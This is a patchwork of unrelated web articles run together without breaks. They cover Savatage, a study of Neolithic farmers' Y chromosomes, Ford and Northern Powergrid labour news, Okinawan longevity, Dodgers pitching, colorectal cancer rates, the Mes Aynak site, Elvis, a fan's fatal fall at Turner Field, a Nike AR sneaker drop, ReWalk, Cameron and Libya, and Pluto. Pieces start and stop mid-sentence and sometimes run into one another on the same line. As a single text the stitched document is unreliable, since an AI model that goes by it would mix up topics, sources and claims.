Savatage's main influences include Iron Maiden, Judas Priest, Led Zeppelin, Black Sabbath, Deep Purple, AC/DC, Van Halen, Rainbow, UFO, Rush, The Who, Metallica, Pink Floyd, Queen, Motörhead, Scorpions, Accept, Saxon and Jethro Tull.
Personnel [ edit ]
Current members
Timeline [ edit ]
In popular culture [ edit ]
The song "Hall of the Mountain King" from the album of the same name was used in the video game Brütal Legend.[52]
Gutter Ballet was an unpublished Broadway project Paul O'Neill wrote back in 1979. In 1989, Savatage already used this title for their previous album but decided to focus their next release, Streets: A Rock Opera, on it.[53] Trans-Siberian Orchestra reprised, in recent years, the idea to release a Gutter Ballet musical close to O'Neill original script featuring Savatage's music as well.[23]
German power metal band Powerwolf covered "Edge of Thorns" on their 2015 Blessed & Possessed deluxe edition.
Discography [ edit ]More bad news for the dwindling number of remaining fans of the Paleolithic Continuity Theory (PCT) in the form of a newly-published study in the PLoS Biology Journal. Summaries are provided in the Guardian and here in the Scientific American:
Sowing their seeds: Neolithic farmers spawned most European males
By Katherine Harmon
Agriculture emerged on the human cultural scene about 10,000 years ago, spreading rapidly through Europe from the Near East to the British Isles in about 4,000 years. But did this world-changing technology get disseminated via an expanding wave of industrious farmers or through word-of-mouth among local hunter-gatherer populations?
To help answer this much-debated question, researchers have peered into the genetics of modern Europeans for clues. Mark Jobling of the University of Leicester in the U.K. and his colleagues found not only that agriculture seems to have spread westward via a new group of Neolithic people from the Near East, but also that these new farmers were incredibly successful with the local ladies, leaving their genetic traces in their modern male descendents.
“We focused on the commonest Y-chromosome lineage in Europe,” Jobling said in a prepared statement. The team analyzed a single haplotype, R1b1b2 (which is carried by about 110 million men in Europe today) from 2,574 European men whose families had been living in the same location for at least two generations. This common haplotype, however, is not randomly distributed across the continent. “It follows a gradient from south-east to north-west,” he said. About 12 percent of men in eastern Turkey have it, whereas some 85 percent of men carry it in Ireland.
Others have previously speculated that this distribution was due to earlier, Paleolithic expansion from Africa. But Jobling and his fellow researchers asserted that it reflects a rapid, more recent genetic spread during the Neolithic—one that has a “striking” correlation with known Neolithic sites. “The geographical distribution of diversity within the haplogroup is best explained by its spread from a single source from the Near East via [Turkey] during the Neolithic,” the authors concluded in their study, which was published online January 19 in PLoS Biology.
“In total, this means that more than 80 percent of European Y chromosomes descend from incoming farmers,” geneticist Patricia Balaresque, also of the University of Leicester and lead study author, said in a prepared statement. “In contrast, most maternal genetic lineages seem to descend from hunter-gatherers.”
How could these early European ancestors come from such different groups? “To us, this suggests a reproductive advantage for farming males over indigenous hunter-gatherer males during the switch from hunting and gathering to farming,” Balaresque said. “Maybe, back then, it was just sexier to be a farmer.”article
Ford (NYSE:F) said Friday it plans to invest $350 million into a Michigan plant that builds transmissions, a move that will create or retain 800 jobs.
Continue Reading Below
Workers at Ford’s Livonia Transmission Plant will build a new transmission that offers improved fuel economy and performance in front-wheel drive vehicles, according to Ford. The investment, part of Ford’s 2015 labor contract with the United Auto Workers union, is in addition to a previously announced $1.4 billion plan to produce a 10-speed transmission.
The plant employs a total of about 1,800 people and makes transmissions for the Mustang, F-150 and other vehicles.
Ford said the majority of the 800 hourly positions will come next year and in 2019. The company expects to begin adding jobs in late 2017.
“We remain committed to American manufacturing and investing in our people and facilities,” Joe Hinrichs, Ford president of the Americas, said in a statement. “Even as the industry’s largest employer of hourly workers in the United States and biggest producer of American-made vehicles, we believe it is important to continue investing right here in our home market.”
The automaker was an early target of President Donald Trump in his push to keep U.S. companies from opening factories overseas. Just weeks before Trump took office, Ford canceled a plan to build a new $1.6 billion plant in Mexico.
Advertisement
Ford announced earlier this week that it will cut 1,400 salaried jobs in North America and Asia, hoping to reduce costs and boost profits. The Dearborn, Mich.-based automaker is facing pressure from shareholders over its lagging stock price, though executives have defended their strategy of investing in future technologies.
Ford’s stock has lost 10% this year compared to a 6% drop in shares of General Motors (NYSE:GM).Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Around 300 Northern Powergrid staff, including workers on Teesside, are set to vote on industrial action over pay and contracts - in a move that could have an “astronomical impact” according to a union organiser.
A joint ballot has been called by GMB and Unite unions, after professional and administration staff unanimously rejected a pay offer from the company. Unison is also expected to serve notice of a ballot.
Northern Powergrid runs the power network for 3.9m homes and businesses in the North-east, Yorkshire and northern Lincolnshire,
The Newcastle-headquartered business directly employs more than 2,200 people, with many of those involved in the ballot believed to be based at offices in Middlesbrough and Shiremoor.
Northern Powergrid said it understood around 10pc of its employees were due to be balloted.
Ballot papers will be sent out on Monday, July 20 and members have until August 10 to vote.
Stephen Thompkins, regional organiser for the GMB, said: “Members clearly feel there’s no alterative but to take action on this, and of course that could have massive ramifications. They may decide on one-day action or go all-out, which could have an astronomical impact.
“Perhaps if there had been a decent pay offer, it might have been different, but in this instance it would have been rejected on that basis alone.
“Union members right across the board say that - in their own words - they are being treated like second-class citizens. They believe it is time to stand up and fight.”
The company claimed the rejected offer would have “secured agreement to ensure salaries and benefits were comparable to similar roles in the North-east” as well as ensuring Northern Powergrid “can be there for its customers when they need us most, such as lightning strikes earlier in the month which affected around 55,000 customers.”
A Northern Powergrid spokeswoman added: “We have received formal notification from two of the three unions representing some of our non-operational, professional and administration staff of plans in the coming weeks to hold a ballot for strike action.
“We are very disappointed that our offer, which we felt was fair and reasonable in the current climate, was rejected. We remain available for talks with the unions at any time to explore opportunities for a resolution.
“We will of course keep our customers and stakeholders informed of developments.”
Normal operations continue, she added, and any failure to agree a new deal with the affected employees will have no impact in the immediate future.I used to think that there were only a handful of people over the age of 100 in the world. How wrong was I! The Japanese island of Okinawa alone has about 457 of them. It is considered to be the healthiest place in the world, where the average life expectancy of an Okinawan woman is 86, and man’s is 78. Not only do they live long lives, they live very healthy and happy ones too. A fine example is 96-year-old martial artist Seikichi Uehara, who, at his age, defeated a thirty-something ex-boxing champion. And also Nabi Kinjo, the 105-year-old woman who hunted down a poisonous snake and killed it with a fly swatter.
The Okinawans’ secret, I’ve come to understand, lies in two things – their food, and their attitude towards life. As a happy bunch of people, the elders seem to have no worry etched on their faces, stress seems to be a foreign concept to them. An 88-year-old farmer who still works 11-hour days at the field, says, “I hardly ever get angry. I enjoy life because I’m happy at work and I think that’s the medicine for a long life.” I completely agree, and I wish I could look at life the way this brilliant guy does…
Photo: j. spiridigliozzi
Most of the over-85-years-old elderly I’ve ever met seem to be waiting to die, sick of dealing with their physical pains and of struggling to survive on small pensions, but not the Okinawans. They have a child-like zeal towards life, wanting to live more. Even a 100-year-old woman says she would like to live a few more years to spend with her grandchildren. As the old Okinawan saying goes, “At 70 you are still a child, at 80 a young man or woman. And if at 90 someone from Heaven invites you over, tell him: ‘Just go away, and come back when I am 100.’” I think that perfectly illustrates their philosophy on life.
Photo: Akira ASKR
The Okinawan eating habits are certainly worth a mention as well. Their regular diet is not based on red meat, but largely on rice, fish and vegetables. One of their popular dishes, Mimiga, is made from pig ears – low in fat and high in calcium. They also eat plenty of tofu, and vegetables such as bitter gourd (Goiya) and sweet potato are a staple. The Okinawan sweet potato is especially nutritious – one medium sized baked potato is said to contain over 20,000 IU of beta carotene and Vitamin A. Sounds like an incredibly healthy diet but some of them do indulge in a cup full of a locally brewed rice wine called Awamori, each night.
Doing research on Okinawa’s high life expectancy has been very motivating for me; it’s great to know there are people in the world who have figured out the secret to a long and happy life. Unfortunately, the secrets accumulated by the elderly aren’t being imbibed with much enthusiasm by the present generation Okinawans. As in many other countries, Western fast food joints have invaded the island, which the youth prefer over traditional foods. One youngster chomping down on a burger says: “I like thick, greasy food.” “Goya is bitter,” says another, “so I don’t like it much.” The degradation of the healthy eating habits has taken its toll on the island, considerably reducing life expectancy. The rates of obesity and lung cancer are higher in Okinawa than compared to anywhere else in Japan. It appears that when the western world is awakening to the benefits of living life like the Okinawans, their very own youth are leaving it behind. It’s sad really, but the truth is the healthy people of Okinawa are nothing but living relics whose secrets of a truly healthy life will be lost in just a few years time…I never really introduced myself formerly. My name is Matthew Daly, and I am a die-hard Dodgers fan currently living in the North Bay, aka Giants country. I was 2 months old the last time the Dodgers last won the World Series. My dad is a secret Giants fan, having grown up in Sacramento (he claims to root for the Dodgers, but I saw that bastard’s glee when the Giants went all even year), but he used to get free tickets to games through work. His boss would graciously give us tickets to Dodgers games 7-8 times a year for my whole childhood, 9 rows right behind the Dodgers dugout. I could see the sweat beading down from Eric Karros’s brow from those seats. I could have tossed my Dodger dog and hit Adrian Beltre at third base we were so close. I even got to see Mark McGwire in ’98 during batting practice – more baseballs landed in the parking lot than anywhere else. Damn, I was lucky. Then my dad didn’t have that job, and suddenly I didn’t have those seats 9 rows from behind the dugout. Now as an adult, I sit on the third level and try to convince myself that at least I have a lovely birds-eye view of the whole field (when I can make it back down to SoCal).
Those moments, among many others, made me a Dodgers fan for as long as I can remember. Now I am sprouting gray hairs at 28 years old, enjoy the occasional cold beer, and have to work as a legal drug dealer through the California Board of Pharmacy to pay off my student loans. That’s where I’m at. I also now write with a cool group of baseball people on this blog.
Back to the meat and potatoes of this post – the Dodgers pitching depth. I previously alluded to the offensive/defensive outlook for the top starters on the team. There is a lot of offensive and defensive depth on the 25 man roster, but that post skimmed the top. The crème de la crème of the starting lineup, if you will. I will do the same more or less for starting pitching in this case.
At a quick glance, as a group, the Dodgers starting pitching is unique. It’s kind of a “whole is greater than the sum of the parts” kind of deal. To explain this, let’s look at our fun futuristic stat Wins Above Replacement (WAR). What is WAR? It is essentially the number of wins that a team will gain from a player, assuming that player is better than replacement level. Replacement level is considered to be someone who is basically league average. A league average position player has a WAR of 2, whereas a bench player has a WAR in the 0-1 range. An average starting pitcher has a WAR of 2, where relievers are usually <1.
For comparison, Clayton Kershaw had a WAR of about 6.5-7.5 in 2015 over 232 IP. In lamen terms, if the Dodgers had a league average pitcher for the season instead of Kershaw, they would have had roughly 7 fewer wins. In 2015, that would mean the Giants would have been only 1 game behind the Dodgers, and who knows what could have happened with a race that close. Kershaw’s WAR dropped in 2016 because he was injured and therefore contributed less to the overall amount of team wins.
Clayton Kershaw has the highest cumulative WAR (29.8) for starting pitchers from 2013-2016. The next best pitcher in the NL West during that time frame has a cumulative WAR of 18
Here are the top teams concerning WAR as projected by Fangraphs.com.
Pitching Staff WAR (Wins Above Replacement) Dodgers 20.0 Red Sox 19.0 Nationals 18.7 Mets 18.5 Indians 17.8 Cubs 17.1 Giants 16.3
This is mainly because of Kershaw’s projected 7.4 WAR. But it also includes a lot of depth. Rich Hill 2.8 WAR, Kenta Maeda 2.8, Scott Kazmir 1.8, Brandon McCarthy 1.2, Julio Urias 1.9, Alex Wood 1.4, and Brock Stewart 0.4. These projections are based on innings pitched. For that reason, you can take them with a grain of salt. It is very likely McCarthy will not provide much production due to injury. Julio Urias and Brock Stewart may provide more WAR due to a heavier workload from other starters being injured. If Rich Hill were projected for more than 140 innings, his WAR could easily be 3 or 4. If he has blisters the whole season, his WAR could just as easily be <1.
Overall, WAR is a fun aggregate stat that essentially tells you how many extra wins a player is worth over Joe Shmoe who is league average. On paper, the Dodgers’ pitching staff has a league-best WAR for two reasons: Clayton Kershaw and Depth. If Kazmir is injured, Ross Stripling is an option. If McCarthy goes down, there is Julio Urias or Brock Stewart. Alex Wood is an excellent pitcher with a high ceiling – if healthy, he can be a starter or reliever. Hyun-Jin Ryu still has an arm and can throw things, potentially.
Regardless, the Dodgers have one of the best regular season lineups. Kershaw-Hill-Urias-Maeda is a solid playoff rotation if they make it that far. Regardless, the Dodgers are well equipped to deal with the injury bug from the two-spot onward. If they lose Kershaw, well, let’s not talk about that.
AdvertisementsThe number of colorectal cancer cases in people aged 50 and older has fallen. Unfortunately, researchers are reporting that the number of cases among people aged 20-49 has risen. They estimate that this rate is set to increase further over the next 15 years.
Colorectal cancer, also known as bowel cancer, refers to any cancerous growth, lump or tumor of the colon or rectum. Colorectal cancer, also known as bowel cancer, refers to any cancerous growth, lump or tumor of the colon or rectum.
The decline in colorectal cancer (CRC) cases among older adults has partly been attributed to an increase in colonoscopy screening, recommended for all adults aged 50 and older. Between 1998 and 2006, CRC incidence fell each year by 3% in men and 2.4% in women.
Patients younger than 50, conversely, are not recommended for general screening, and it is in this group that incidence rates are increasing. Not only this, but previous studies indicate that these patients are more likely to present advanced forms of CRC, making treatment of the disease much more difficult and reducing the likelihood of positive outcomes.
CRC is the third most common cancer in the US. In 2013, an estimated 142,820 new cases were reported, along with approximately 50,830 deaths attributed to the disease.
Researchers from the University of Texas MD Anderson Cancer Center in Houston, TX, utilized data from the Surveillance, Epidemiology and End Results (SEER) CRC registry in order to assess the age disparities seemingly present in CRC cases. Specifically, the team obtained data for all patients who had been diagnosed with colon or rectal cancer, from 1975-2010.
They found that the overall rate of CRC incidence had declined by 0.92% between 1975 and 2010 - by 1.03% in men and 0.91% in women. The reduction was most significant in patients aged 75 and above, declining by 1.15%, compared with a decline of 0.97% in patients aged 50-74.
In contrast, CRC incidence rates increased among patients aged 20-49. The increase was 1.99% in patients aged 20-34 and 0.41% in patients aged 35-49.
Incidence rates estimated to rise further in young adults
From their findings, the researchers estimate the following increases in the incidence rates for colon cancer and rectosigmoid and rectal cancer for patients aged 20-34 years:
By 2020:
Colon cancer - 37.8%
Rectosigmoid and rectal cancers - 49.7%.
By 2030:
Colon cancer - 90%
Rectosigmoid and rectal cancers - 124.2%.
Conversely, the researchers estimate that by 2030, incidence rates among patients over 50 for colon, rectosigmoid and rectal cancers will fall by around 41%.
"The increasing incidence of CRC among young adults is concerning and highlights the need to investigate potential causes and external influences such as lack of screening and behavioral factors," write the authors of the study, published in JAMA Surgery.
Along with an absence of screening protocol, certain behavioral factors have been identified as risk factors for the development of CRC; physical inactivity, obesity and poor diet could all be targeted as a way of improving overall health as well as reducing the risk of CRC.
Dr. Kiran K. Turaga, of the Medical College of Wisconsin-Milwaukee, describes the findings of the report as "rather unsettling." In a related commentary, Dr. Turaga suggests that further research should be conducted to investigate why this increasing incidence may be occurring:
"[This] report should stimulate opportunities for development of better risk-prediction tools that might help us identify these individuals early and initiate better screening/prevention strategies. The use of stool DNA, genomic profiling and mathematical modeling might all be tools in the armamentarium of the oncologist in the near future."
Recently, Medical News Today reported on research revealing that a combination of multiple healthy behaviors can reduce the risk of colorectal cancer.x25 miles southeast of Kabul, Afghanistan near the border with modern-day Pakistan rests an ancient Buddhist city. This ancient city - named Mes Aynak, or "little copper well" - was once at the heart of the bustling Silk Road, the revolutionary trade route that tied together China, India, the Middle East and the Mediterranean. Buddhists from all over Asia made pilgrimages to worship at Mes Aynak, and for thousands of years, it flourished as one of the most important cities in the region. As its importance waned through the centuries, it was slowly abandoned and eventually, this once mighty city was forgotten, its history lost to the sands of time.
After being re-discovered in the 1960's, it took decades for archeologists to make their way to the site, and sporadic rescue excavation of the ancient city did not begin until 2009. Since then, what they've unearthed is truly astounding: dozens of unique and never-before-seen stupas and temples, enormous monastic complexes, vivid murals, thousands of precious artifacts, and around 600 large Buddha statues -- similar in style to those destroyed by the Taliban in 2001 at Bamiyan. Archaeologists have also begun to find written material -- bitch bark manuscripts representing some of the oldests Buddhist writing ever discovered.
Archaeologists have also found evidence of an older Bronze age site beneath the Buddhist city, meaning there is at least 5,000 years of civilization at Mes Aynak. Although only 10 percent of the site has been excavated, what they are finding is already rewriting the history of Buddhism, Afghanistan and the world.
Tragically, this ancient civilization is in dire peril. Mes Aynak sits on the second largest copper deposit in the world, and in 2007 it was sold by the Afghan government to a Chinese State-owned mining company, who plan to harvest that estimated $100 billion dollars worth of copper. MCC, or China Metallurgical Group Corporation, plans to open-pit mine at Mes Aynak. What does that mean? It means blowing up Mes Aynak and reducing it - and an entire mountain range -- to rubble. It means the forced evacuation and relocation of countless native Afghans from the area, who will never be able to return to their villages due to permanent toxicity from the mining. It means leaving a giant crater where there once was a sprawling 500,000 sq meter city. It means erasing from the face of the Earth all of the culture and history that Mes Aynak contains.
I first read about Mes Aynak in the New York Times in 2010. The story focused on the potential economic development in the war-torn region -- the Chinese project represents the largest private investment in Afghanistan's history setting up in volatile Logar province -- Taliban country. The Buddhist archaeological site was barely a footnote in this story.
I later learned that the archaeological ruins were massive, comparable in size to sites like Pompeii and Machu Picchu. At any moment the entire ancient city would be completely destroyed. I needed to see Mes Aynak for myself before this demolition. I first traveled to Mes Aynak in 2011, and over the next four years I have been documenting the archaeological effort, the race against time by specialists to save small movable artifacts before the bulldozers come in.
It seemed that the Afghan government and MCC thought no one would mind if some old dusty statues and buildings vanished overnight. Maybe they felt no one would ever know? As lone witness to this impending international tragedy, I felt it was my duty to expose this story to the international community. To me this was a story of corporate greed and corruption versus the most significant archaeological discovery of our time.
Every day that I rode to Mes Aynak from Kabul, the threat of death by roadside IED or landmine was always on my mind. The archeologists at the site worked under a continuous death threats from the Taliban. Death loomed large, but it was a risk we were all willing to take.
My first impulse was to document all the incredible discoveries at Mes Aynak so that after the site was destroyed there would at least be some visual record of its existence. But the more time I spent at Mes Aynak and saw its epic beauty and importance, the more I realized that I couldn't just film the site; I had to do something to permanently stop its destruction. The desire to save Mes Aynak wasn't shared by me and the archeologists alone, however. In 2012, in response to the media coverage of China's proposed actions at Mes Aynak, there was an outcry from Buddhist communities around the world. In Thailand, Vietnam, Sri Lanka, Budapest, India, China, Malaysia, and even China, the reaction was strong. In Thailand, the Dhammaykaya Temple's Dhamma Media Channel spread the word about Mes Aynak's impending destruction. The Temple's monks distributed two official petitions in schools and universities throughout the country, one appealing to Afghan president Harmid Karzai (see References below) and the other to UNESCO. Both petitions gathered over 60,000 signatures each.
During this time, I took to social media to spread the word about Mes Aynak, and decided to turn my footage into a documentary: Saving Mes Aynak. Awareness on Facebook and Twitter grew by the thousands... and then the tens of thousands. Due to public outcry and the attention my film received, MCC and the Afghan government delayed the destruction |
’s what connected them to each other during the duration of Elvis’ life… I think my understanding of it is we should all be so lucky to have a friendship that’s as meaningful as the one between Ann-Margret and Elvis Presley.”
Despite the doomed romance, Ann-Margret moved on and married fellow actor Roger Smith in 1967. It was the same year that Presley married Priscilla Ann Beaulieu, who was 10 year his junior at age 21. The couple welcomed daughter Lisa Marie in 1968, but would later divorce in 1973. Ann-Margret’s marriage lasted until Smith’s death this year at age 84.
Presley was a great film star in Mankiewicz's eyes.
“Those 31 movies that he made? None of them lost money. Not one, which is a remarkable record of consistency," he said. "And speaking of records, the money they made was enhanced massively because each movie had a record connected to it. And the records, of course, all made a tremendous amount of money.”
Mankiewicz noted all of Presley’s movies had a similar plot that featured his chart-topping songs. And because the formula proved to be so successful, it may have limited Presley from taking on more challenging roles.
Presley’s last movie, “Change of Habit,” would premiere in 1969. Mankiewicz isn’t sure whether Elvis would have gone on to pursue more success in Hollywood.
“Francis Ford Coppola or Martin Scorsese or Peter Bogdanovich, could they have done something interesting with Elvis Presley? There was a lot that Elvis had to offer and we underestimate him as a performer… There was just too much talent there.”In the seventh inning of Saturday night’s Atlanta Braves game Saturday night, a fan fell from the upper deck behind home plate to his death. The game continued and many want to know why. I’ll try to explain.
The Incident
In the top of the seventh inning the Yankees sent Alex Rodriguez up to pinch hit for the pitcher. The Braves decided to walk Rodriguez and fans rose to boo the choice and generally make their feelings known. At that point a fan fell from the upper (400) level down to the second (200) level. Fox commentator Justin Kutcher saw the man fall and mentioned it on air. The game continued without interruption as first fans then paramedics before they eventually carried the man out to take him to hospital.
Sgt. Greg Lyon with Atlanta police said, “Yes. A fan has fallen and his condition is grave. We are investigating the circumstances of the fall, and I will keep you posted as I learn more.”
About 11p.m. eastern time we were told that the man had passed away.
The Atlanta Police Department announced the 60-year-old man who fell from the upper deck at Turner Field tonight has passed away. — Mark Bowman (@mlbbowman) August 30, 2015
UPDATE 8/30/15 10:31 EST
the Fulton Medical Examiner has identified the Braves fan who fell to his death last night as Gregory Murrey, 60, of Alpharetta — CBS46 (@cbs46) August 30, 2015
Why didn’t the game stop?
Before I go farther let me establish my expertise in this. I spent 28 years as an Air Force firefighter, the last 10 as a fire chief. My duties included acting as on-scene commander during emergency responses, not just for fire fighters but for the entire incident. I controlled entry, security and directed control of crowds, assisted medical personnel to set up and manage triage points and evacuate patients.
The short answer to why the game wasn’t stopped is that there was no reason to stop it and nothing to be gained by stopping it. In fact stopping the game could easily have made the situation worse.
There were 49,243 fans at the Atlanta Braves game last night and less than 10% knew anything happened until well after the victim was on his way to hospital. Stopping the game would have required a public address announcement and drawn attention to the incident and the emergency responders dealing with it.
The concourses would have bee crowded by people who didn’t want to get in the way but just have a look. They would have been in the way during removal of the victim. Some fans might have decided to leave the game at that point increasing traffic congestion. While the responders could have dealt with those things they would have been additional unnecessary issues to be dealt with requiring more time and manpower.
There’s nothing hard-hearted or unfeeling about it, by keeping the game going they kept fans in the seats and out of the way. In fact Kutcher shouldn’t have said a word on air about it. By announcing it he generated tweets, texts and phone calls from people at home to people at the game. This isn’t a shot at Kutcher, he’s not not a newsman. He simply reacted to the horrible thing he saw but it wasn’t an ideal thing to happen.
That’s A Wrap
It’s been my duty to be in charge of loss of life incidents including two major air show crashes. Both landing points were removed form the center of the crowds point of view although one was a mid-air collision.
In both instances we kept the air displays going on and the air display announcer didn’t make announcements about the incidents. Although there were 240,000 people watching the show, most had no idea what happened until they went home.
While the emotional response is that everyone should stop out of respect for the victim the practical answer is that unless absolutely necessary, the game should go on. The fewer untrained people emergency responders have trying to help, the better off the are.
Tweeting pictures of the blood stained landing site was in my personal opinion a bad choice. There was no news there, no information gained from the pictures and no good came from viewing them.
The thoughts and prayers of everyone here at the Take go out to the fan, his family and those around the incident whose lives were changed forever by what they saw.Nike SNKRS Debuts New Photo-Based Release Procedure With Momofuku Dunks
4.53 / 5 15 VOTES This post contains references to products from one or more of our advertisers. We may receive compensation when you click on links to those products. The opinions and information provided on this site are original editorial content of Sneaker News.
Tomorrow, Nike SNKRS will officially release the Nike SB Dunk High Pro “Momofuku”, but you won’t be able to purchase them with standard procedure. Nike is using augmented reality technology for this drop, which in short means that the shoes will be hidden in the app and can only be revealed when a specific image is viewed through the camera function on SNKRS.
Nike’s official description states “When David Chang’s Fuku East Village menu, or an image of it, is viewed through SNKRS, an interactive 3D model of the Nike SB Dunk High Pro “Momofuku” will be overlaid. This will allow purchase of the shoe while supplies last.”
We’ve got a step-by-step guide on how to cop the Momofuku Dunks on the SNKRS app below. Be advised that the shoes will also release at select retailers as well as NikeLab 21 Mercer.
How it Works Make sure you have the most recent version of the SNKRS app for iOS. Go into the Behind The Design post about the Nike SB Dunk High Pro “Momofuku” in the SNKRS feed. Once inside the post, scroll down until you find the.gif of the hidden Dunk rotating above the background image. Tap this.gif to open the camera via SNKRS. Once the camera is open, find David Chang’s Fuku East Village menu online (hint, that’s it above). Or any of the special SNKRS posters inspired by the menu that are pasted up outside David’s other Manhattan restaurants. Hover over the menu or poster with the camera and then tap to unlock it. The shoe will instantly pop up on your screen. If there are still pairs available, the invitation to purchase the Nike SB Dunk High Pro “Momofuku” will appear in your SNKRS Feed and Inbox.Thanks to social media, attack television and brigades of haters running rampant across all platforms, complaining and criticizing has become the discourse du jour for this moment in time. It generates a lot of piling on and follow-up posts.
Problem is, running a continuous negative commentary is not only tedious and alienating, it can also cost you work and income while wearing the rest of us out!
Most voices ( aside from character work) are hired to directly or indirectly endorse what they are talking about.
If the delivery has even a tinge of negativity, it can taint the read and keep the performer from booking the job. Many don’t hear the taint because they are so used to hearing themselves in the traditional read that was in place since broadcasting began. It allowed for talent to hide behind a pat, glossy patina that was the prevailing delivery for decades. And, yes, many are still asked to deliver the tried but not so true, but here's the catch:
Today’s producers and the demographic they mainly want to reach are a different breed. They grew up when the old school mentality from which it emanated was already beginning to wear thin and do their best to avoid it whenever they can. Its slick, coy, manipulative and most of all, insincere. All that's missing is the starburst tingle that punctuates a fake smile.
The social/generational shift now happens every 2-3 years. Its imperative to incorporate this awareness into the creative wheelhouse. But, even more imperative is to check negativity at the door. Those who hire you may seem disaffected but one of their core values is, surprise, optimism! They can be cool and suspicious but are still optimistic.
In my work I hear it all… “Things just aren’t the way they should be…”It was better before” or the ever popular “The game is rigged”.
A negative state of mind is protective cover, a hedge against disappointment and the feelings of powerlessness that are inevitable in work that is so dependent on the subjective views of others.
Does this mean to no longer have critical discernment and see things for what they are, warts and all? Of course not…It means: Protect your energy.
Virtual fist pumps for blogs and blasts that continuously buy into a negative spin are time and emotional vampires that steal precious mind space better devoted to forward motion.
And yes, it all has changed and keeps doing so, at an alarming rate, but so what? Dig you heels into the past or see that this is your time as well as theirs and get on with making the most of it with a more empowering state of mind.Salvi was awarded Leicester's player of the year in their title-winning 2012-13 season
Australian flanker Julian Salvi will join Exeter Chiefs from Premiership rivals Leicester in the summer.
Tigers director of rugby Richard Cockerill confirmed earlier this week that the 29-year-old would be leaving the club at the end of the season.
"The more detail we went into, the better and better he looked," Exeter head coach Rob Baxter told BBC Devon.
"Everyone will know him as a defensive player, but in reality we were really pleased with his attacking qualities."
Salvi, who arrived at Leicester in 2011, will join former team-mate and England international Geoff Parling at Sandy Park next season.
Both teams go into the final round of Premiership fixtures in the top four, though neither are guaranteed a place in the play-offs.
"I've been very impressed with his form this season and very impressed with his durability," added Baxter.
"I think he's going to be a fantastic role model for a few of our guys."
Meanwhile Saracens have confirmed back rower Joel Conlon will join the club from Exeter.
The England junior World Championship winner has made nine appearances for the Devon side.A motorized exoskeleton, designed to help paralyzed people walk again, just earned U.S. Food and Drug Administration approval. It is the first such device to do so.
The device, called ReWalk, straps on user's bodies and helps those with certain spinal-cord injuries to sit, stand, and walk. Users have to wear a backpack to carry the ReWalk's computer and battery. They also have to wear a wrist device with buttons to tell the motorized legs when to stand up, sit down, or start walking. But it's not like users are punching every step into their wrist controllers--ReWalk legs also respond to movements of the user's torso, so that leaning forward triggers a step. (Popular Science gave the device an Invention Award in 2009 and a Best of What's New award in 2011.)
The new FDA approval means ReWalk's maker, Argo Medical Technologies, or Argo, can now market its products in the U.S. Over the past few years, Argo and other companies that make similar products have tested their exoskeletons on people. Argo has previously sold ReWalk devices to rehabilitation centers in the U.S. but the FDA approval marks the start of sales of ReWalk devices to Americans for private use. Each device will likely cost $65,000 to $68,000, the Telegram reported in March.
The FDA's announcement about ReWalk details what it is—and isn't—cleared for. It's approved for specific spinal cord injuries, but it's not recommended for people with other severe neurological injuries. The FDA also says users should undergo training before strapping the ReWalk on, and so should a helper for the user—maybe a spouse or a home health aide. Interestingly, the announcement also says the device isn't for climbing stairs. This is a departure from some earlier news reports about the ReWalk, which showed users going up stairs in the exoskeleton.David Cameron (pictured at Prime Minister's Questions today) wrote to the Foreign Affairs Committee saying he was too busy to find time to attend the committee before the EU referendum
David Cameron has rejected demands to be quizzed by MPs over the Government's role in Libya.
The influential Foreign Affairs Committee had asked the Prime Minister to appear before them to explain the UK's increasing presence in tackling ISIS in the north African country.
But Mr Cameron today wrote to the committee saying he was too busy to find time to attend the committee before the EU referendum.
His refusal to appear before the committee comes as the UK prepares to step up its role in Libya.
Around 100 British special forces troops are already in Libya helping to protect its current leadership and advising local forces on fighting the increasing IS presence in the country.
And last month Foreign Secretary Philip Hammond told MPs that 'now is the time to move against' ISIS, which has seized a long stretch of coastline along the Mediterranean.
He said Britain could send planes and warships to Libya to help support the new Libyan government and said Britain could send combat troops into Libya in the future as he cannot 'rule anything out'.
Britain's role in Libya since it helped oust the country's dictator, Muammar Gaddafi, in the Arab Spring of 2011 has come under scrutiny over the last few weeks.
In a remarkable criticism of Mr Cameron's foreign policy earlier this year, Barack Obama blasted him and former French President Nicolas Sarkozy for leaving Libya a's*** show' after the 2011 intervention.
Shortly after the US President's intervention in March, Crispin Blunt, chairman of the Foreign Affairs Committee, asked Mr Cameron to come before it to give evidence as part of its inquiry into Libya.
In his response to the Foreign Affairs Committee's invitation to give evidence, David Cameron said he could not find time to attend before the end of the current parliamentary session later this month
Last month Foreign Secretary Philip Hammond told MPs that 'now is the time to move against' ISIS, which has seized a long stretch of coastline along the Mediterranean
He wanted him to appear before the end of the current parliamentary session later this month in order to clear the way for it to publish its report on the UK's military intervention in the 2011 uprising against Muammar Gaddafi and its bloody aftermath.
In his response today, Mr Cameron claimed Foreign Secretary Philip Hammond had already provided the Government's evidence.
The committee said it will press ahead with the publication of its report without the Prime Minister's input.
Prime Ministers have traditionally refused to appear before the cross-party select committees of backbench MPs which scrutinise departmental policy, arguing that this is a job for individual ministers.
Foreign Secretary Philip Hammond (left) met Fayez-al-Sarraj (right), the new prime minister of the new national unity government of Libya in a surprise visit to the war-ravaged country last month and offered UK assistance in training Libyan forces
The north African country has been reigned by chaos since the 'Arab Spring' in 2011, opening up a vacuum for militias to exploit, with ISIS seizing a long stretch of coastline along the Mediterranean. Above, an ISIS car bomb that targeted a security post in Misrata, 200km from Tripoli, last month
Instead, they attend regular sessions of the Commons Liaison Committee, which brings together the chairs of all the select committees - and Mr Cameron will appear before the committee today to answer questions about the EU referendum.
In his letter, Mr Cameron told Mr Blunt: 'I am afraid that, for reasons I am sure you will understand, the pressures on my diary in this period will not permit me to appear before the end of the current session of Parliament.The hits just keep on coming from NASA’s New Horizons mission to Pluto: This week’s stunners include views of the surface that look weirder than the terrain in “Star Wars: The Force Awakens,” plus a close look at Nix, one of Pluto’s five moons.
During its July 14 flyby, the piano-sized New Horizons spacecraft captured a string of pictures showing the eastern edge of a dark region nicknamed Cthulhu Regio and a potential ice volcano called Wright Mons. You can also see light-colored craters that have been partially filled in with darker material.
“Pluto has greatly exceeded our expectations in diversity of land forms and processes — processes that continue to the present,” New Horizons team member Alan Howard, a planetary scientist from the University of Virginia at Charlottesville, said in Thursday’s update from NASA.
Scientists say they’ve spotted networks of eroded valleys, some of which are reminiscent of the hanging valleys seen in Yellowstone National Park and elsewhere on Earth.
